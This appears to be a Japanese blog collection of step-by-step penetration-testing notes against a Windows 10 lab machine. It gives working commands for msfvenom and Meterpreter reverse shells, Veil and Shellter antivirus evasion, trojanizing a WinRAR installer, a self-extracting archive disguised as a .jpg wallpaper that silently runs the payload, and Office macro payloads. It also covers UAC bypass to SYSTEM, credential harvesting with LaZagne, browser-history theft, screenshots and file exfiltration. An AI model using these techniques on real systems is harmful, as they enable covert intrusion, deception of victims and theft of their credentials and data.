Excel Word ファイルにペイロードをバインド

Excel Word ファイルにペイロードをバインド

マクロ機能にペイロード実行コードを紛れ込ませることが可能

MS Office のマクロ機能でペイロード実行を支援するツール
MacroShop をインストールする

git clone https://github.com/khr0x40sh/MacroShop.git
cd MacroShop/

で Github から git で入手

使い方は

./macro_safe.py ../Desktop/evil3.bat /root/Desktop/script.txt

というように

./macro_safe.py <input batch> <output text>

というように使う

input batch は
Veil で作成した PowerShell 系ペイロード

output text は
マクロスクリプト

今回は evil3.bat のペイロードから
script.txt というマクロスクリプトを生成

内容を見たいのなら

gedit /root/Desktop/script.txt 

で確認可能

なお、実験は試用版 Windows10 では
Excel がみあたらず
Excel Online ではマクロ作成などができなかったため
動作確認は保留

WinRAR でペイロードと画像ファイルのバインド

WinRAR でペイロードと画像ファイルのバインド

wallpaper で検索し背景画像をダウンロード

今回は
https://pixabay.com/images/search/wallpaper/
からダウンロード

次に画像ファイルをアイコンファイルへ変換

これは
https://www.icoconverter.com/
を利用

変換サイズは
64pixels

ビット深度は
8 bits

対象ファイルは 参照をクリックし
先ほどダウンロードしたファイルを選ぶ

あとは Convert をクリックすると変換されるので
Save File で保存

次にWindows10で WInRAR をインストールする

ここまでできたら KaliLinux でペイロードの作成

msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.134 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /root/Desktop/evil4.exe

msfvenom コマンドのオプションで
a はアーキテクチャで
-a x86 なら 32bit アーキテクチャ
e はエンコーダの種類
i はエンコーダ回数で
-i 3 なら3回
b は避ける文字

これでペイロードを作成したら

cp /root/Desktop/evil4.exe /var/www/html/share/
cp Downloads/wallpaper.* /var/www/html/share/
service apache2 restart

でペイロードとダウンロードしたico ファイルと画像ファイルをコピー
ダウンロードできるように apache2 の再起動

なお Windows10 で evil4.exe をダウンロードするとき
リアルタイム保護が有効だと削除される

次に
wallpaper.ico
wallpaper.jpeg
の2つを選択した状態で右クリック >
Add to archive… を選び

Archive name を
amazing_wallpaper.rar
として
Create SFX archive
にチェックをいれる
これで exe ファイルになる

Advanced タブをクリック
SFX Options をクリック

Setup タブをクリック
Run after extraction
のとこへ
evil4.exe
wallpaper.jpg
を追記

Modes タブをクリック
silient mode で hide all をクリック

Text and icon タブをクリック
browse… をクリックし
ファイル形式を All files にすると表示される
wallpaper.ico をクリック

Update タブをクリック
update mode を
Extract and update files

Overwrite mode を
Overwrite all files

これでOKをクリック

これで
amazing_wallpaper.exe ができる

これを名前の変更で
amazing_wallpaper.jpg とすると
Windows10 では拡張子が表示されないため
画像ファイルとして扱われる

ここまでできたら KaliLInux でリバースシェルの用意

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.134
exploit 

これで
amazing_wallpaper.jpg
をクリックすると
画像が表示され
KaliLinux ではmeterpreter セッションが確立する

ペイロードに別ファイルの結合

ペイロードに別ファイルの結合

ターゲットにペイロードを実行させても
別の画面がでてきたり
何も実行されないと不審に思われるので
ペイロードに別ファイルを結合し2つのプログラムを実行させることで
偽装させるという手法がある

これが bind
使われる手法としては
画像ファイルにペイロードが結合されていたて
画像を表示したらペイロードが実行されるというもの

あとは
トロイの木馬にゲームと結合させてゲームが起動してプレイできるが
裏ではトロイの木馬の感染処理が進むというもの

今回は KaliLinux と WIndows10 で実験

まず
WinRaR のインストーラーを取得

https://www.win-rar.com/download.html?&L=0
から32bit のものをダウンロード

cp Downloads/wrar580.exe /root/Desktop/

でファイルをデスクトップへコピーしておく

次に
Shellter のインストール

apt install shellter

次に shellter の初期設定

shellter

で起動

ここからは対話形式で設定

Choose Operation Mode - Auto/Manual (A/M/H):

となるので自動にしたいので
A

PE Target: 

で対象ファイルを選ぶので

/root/Desktop/wrar580.exe
を指定

Enable Stealth Mode? (Y/N/H):

でステルスを有効化するので Y

Use a listed payload or custom? (L/C/H):

となるので
リストから選ぶので L を選択

これでリストがでてくる
今回使うのは revrse_tpc なので

Select payload by index: 

では1を入力

次に

SET LHOST: 

となるので KaliLinux のIPを入力

次に使うポートの指定

SET LPORT: 

となるので4444を入力

最後に

Press [Enter] to continue...

となったら Enter

これで作成できたので

cp Desktop/wrar580.exe /var/www/html/share/
service apache2 restart

でペイロードがダウンロードできるようにしておく

次にウイルス検知にどれくらい引っかかるかチェック

https://www.virustotal.com/ja/
へアクセスし
Choose file をクリック

wrrar580.exeを選び調査
これで70の検知システムのうち27引っかかっているということがわかる

これでファイルは作成できたので
KaliLinux でリバースシェルの待受

msfconsole

でMetasploit を起動

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.134
set lport 4444
exploit 

で待受開始

あとは windows10 でリアルタイム保護を無効化した状態で
ブラウザで
wrrar580.exe をダウンロードし実行

これでMeterpreter セッションが確立される

Veil Framework

Veil Framework

Meterpreter セッションの確立には
ターゲット端末で実行ファイルを実行させ
アンチウイルスの検知の回避が必要

Veil Framework は
アンチウイルス回避ペイロードを生成するツール

KaliLinux にインストールするには

apt install veil-evasion 
veil

で起動すると
セットアップスクリプトが実行され

 [?] Are you sure you wish to install Veil?

     Continue with installation? ([y]es/[s]ilent/[N]o): 

となり
インストールモードを選ぶので
s を入力し Enter

インストールが終わって
veil >
と表示されたら

exit

で一度終了しておく

再度

veil

で起動し
Veil を最新化するために

update

でVeil を最新化する

現在使えるツールは
Evasion
Ordnance
の2つ

アンチウイルスを回避するツールを使うなら
Evasion なので

use 1

ペイロードリストをみたいのなら

list

を実行するとみれる

今回はこの中から22のものを使うので

use 22

を実行

どのようなツールかは
Description の項目にかかれている

これはリバースシェルなので
KaliLinux のIPをセット

set lhost 192.168.1.134

次にペイロードの作成

generate

を実行

するとファイル名を指定できるので
evil3
としておく

Hit enter to continue...

となったら Enter

これで作成はできたので

exit

で一度終了

ここで作成できたファイルは
一度デスクトップへコピーしておく

cp /var/lib/veil/output/source/evil3.bat /root/Desktop/
cp /root/Desktop/evil3.bat /var/www/html/share/
service apache2 restart

でダウンロードできるようにしておく

次にリバースシェルの待受設定

msfconsole 

で Metasploit を起動

これで Windows10 でブラウザから
evil3 をダウンロードし
実行すると
コマンドプロンプトが立ち上がり
セッションが確立される

ただしリアルタイム保護が有効化されていると
ダウンロードもできないし
実行時に検知されセッションは確立できない

windows 10 のパスワード探しとブラウザ履歴

windows 10 のパスワード探しとブラウザ履歴

LaZagne を使うため
KaliLinux で

https://github.com/AlessandroZ/LaZagne/releases
からダウンロード

wget https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe

でもダウンロードできる

次に

service apache2 restart 

で apache2を再起動

msfconsole 

で msfconsole を立ち上げ

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.134
exploit -j -z

で待受にする

次に windows10 で evil2.exe を実行

これでセッションが繋がる

sessions -i 1

次に

upload lazagne.exe

で windows10 へファイルをアップロード

shell

で windows10 のシェルになり

lazagne.exe all

を実行
ただしユーザ権限だとパスワードは発見できなかった

次にブラウザ履歴を調べる

use post/windows/gather/forensics/browser_history 

でセッションをセット

run

で実行

実行すると
.msf4/local/
以下にふぁいるが作成される

今回は
snowpool_ChromeHistory_Default_History.
となった

なお対応しているのは
Firefox
Chrome
Skype
となっているため
Edge の履歴を得ることはできなかった

デフォルトでは chrome がインストールされていないので
インストールしてから実行

 file .msf4/local/snowpool_ChromeHistory_Default_History. 

でファイルを確認すると

.msf4/local/snowpool_ChromeHistory_Default_History.: SQLite 3.x database, last written using SQLite version 3030001

となり
SQLファイルであることがわかる

なお、隠しファイルになっているので

cp .msf4/local/snowpool_ChromeHistory_Default_History. .

としておくとファイルを見つけやすくなる

これの中身をみるには
show application をクリック

sqlte database  で検索し
DB Browser for  をクリック

Open Database をクリックし
ファイルの種類を All files にして対象ファイルを開く

urls を右クリック > Browse Table

これで閲覧した履歴のURLをみることができる

次にMRUの取得

sessions -i 1

でセッションを確立し

reg enumkey -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\

MRUは
Most Reccently Used で最近使ったリストのこと

これはターゲットの最近の行動を知るのに使う

今回の実行結果は

  Keys (36):

	Accent
	Advanced
	AutoplayHandlers
	BamThrottling
	BannerStore
	BitBucket
	CabinetState
	CD Burning
	CLSID
	Desktop
	Discardable
	FileExts
	HideDesktopIcons
	LogonStats
	LowRegistry
	MenuOrder
	Modules
	MountPoints2
	Package Installation
	RecentDocs
	RestartCommands
	Ribbon
	SearchPlatform
	Shell Folders
	Shutdown
	StartPage
	StartupApproved
	Streams
	StuckRects3
	Taskband
	User Shell Folders
	UserAssist
	VirtualDesktops
	VisualEffects
	Wallpapers
	SessionInfo

  Values (12):

	ExplorerStartupTraceRecorded
	ShellState
	UserSignedIn
	SlowContextMenuEntries
	SIDUpdatedOnLibraries
	LocalKnownFoldersMigrated
	TelemetrySalt
	GlobalAssocChangedCounter
	FirstRunTelemetryComplete
	EdgeDesktopShortcutCreated
	AppReadinessLogonComplete
	PostAppInstallTasksCompleted

となった

Windows10 を Metasploit で攻撃

Windows10 を Metasploit で攻撃

まずリバースシェルのペイロードを作成

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.134 -f exe -o /root/Desktop/evil2.exe

でリバースシェルのペイロードを作成
なお、今回はターゲットは64bit を考慮して作成している

次にペイロードを外部アクセスできるディレクトリへ移動

cp /root/Desktop/evil2.exe /var/www/html/share/

これで apache2 を起動

service apache2 restart 

次に windows10 の仮想マシンを起動し
ブラウザで
http://KaliLinuxのIPアドレス/share/
へアクセスし
evil2.exe をクリックし保存をクリックしても
Windows Defender により削除されてしまう

このためスタートメニューで設定をクリック

更新とセキュリティをクリック

Windows セキュリティをクリックし
Windows セキュリティを開くをクリック

ウィルスと脅威の防止をクリック

ウィルスと脅威の防止の設定の
設定の管理をクリック

リアルタイム保護オンをクリック

デバイスの変更の許可を聞かれるので
はいをクリック

これでリアルタイム保護が無効化されるが
一定時間がすぎると自動で有効化に戻る

この状態で再度

ブラウザで
http://KaliLinuxのIPアドレス/share/
へアクセスし
evil2.exe をクリックし保存をクリック
これで保存ができる

ここまでできたら KaliLinux でリバースシェルの待受

msfconsole 

で msf コンソールを起動

まずハンドラーモジュールを使うので

use exploit/multi/handler 

次にペイロードをセット

set payload windows/x64/meterpreter/reverse_tcp

次にIPアドレスの設定

set LHOST 192.168.1.134

次 exploit の実行をするけど
今回は
j オプションにより ジョブとしてモジュールを起動
z オプションによりセッションをバックグラウンドにするように設定

exploit -j -z

この状態で Windows10 で evil2.exe を実行

すると

Sending stage (206403 bytes) to 192.168.1.165
[*] Meterpreter session 1 opened (192.168.1.134:4444 -> 192.168.1.165:49830) at 2019-12-31 04:22:04 +0900

となりセッションが確率されたのがわかる

確認のため
Enter でメッセージから msf コンソールにして

sessions -i

とすると現在確立されているセッションを表示できる

ここまでできたら
windows10 で
ダウンロードフォルダへ
新規作成 > テキストドキュメント

password
を作成

なお、windows ではテキストドキュメントでは
.txt が自動でつく

次に KaliLinux でセッション1を指定

sessions -i 1

セッションが確立されている状態で

ls

を実行すると一覧がみれる

なお、windows10 で evils2.exe を実行するときに
ブラウザから起動したものか、もしくは
ダウンロードしてから実行しているかによりファイルパスが変わるので注意

ブラウザから実行していると
C:\Users\snowpool\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads
となり
ダウンロードしてから実行だと
C:\Users\snowpool\Downloads
となる

なお windows10 のファイルを
KaliLinux にダウンロードすることも可能
これは
download コマンドを使う

今回 passwords.txt をダウンロードするなら

download passwords.txt

これでホームディレクトリにダウンロードされる

また現在開いている windows 画面のスクリーンショットもとれる
これは
screenshot コマンドを使う

screenshot 

撮影した画像は
ホームディレクトリに保存される

なおコマンドから表示することもできるが feh が必要

apt install feh -y

でインストールしておき

撮影したスクショのファイル名がgnnIADFL.jpegなら

feh gnnIADFL.jpeg 

とすれば表示することができる

なお -g オプションを使うことで画像の大きさを指定できるが
縮小されて表示されるわけではない

それよりも
Raspberry Pi 3で17.3インチのデジタルフォトフレームを作った!

にあるように
-F オプションでフルスクリーン表示にしたほうが見やすい

なお、画面がそれでいっぱいになるので
alt + tab で端末に移動して
ctrl +c で動作停止すると画像が消える

次にSYSTEM権限の取得

getsystem 

としてもUAC機能を回避していないため失敗となる

このためUAC機能を回避するモジュールを探す

 background 

で一度バックグラウンドにしておき

search bypassuac

で検索

ここから探すときには
Rank excellent
日付が新しいもの
を使うようにする

今回は
bypassuac_sluihijack
を使用

use exploit/windows/local/bypassuac_sluihijack

で使用するペイロードをセット

設定のため

show targets 

を実行すると

   Id  Name
   --  ----
   0   Windows x86
   1   Windows x64

となるので

set TARGET 1

で 64bit としてセット

set session 1

でセッションを設定

再度ペイロードをセット

set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.134

でKaliLinux のIPをセット

show options 

で設定を確認したら

exploit 

で実行

なお時間がかかりすぎると
windows のリアルタイム監視が復旧し
自動的にセッションが閉じられるので注意

これで

getsystem 

を実行し

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

となれば権限奪取成功

なお、バックドアの作成などについては
リアルタイム保護で削除される可能性があるので
今回は行っていない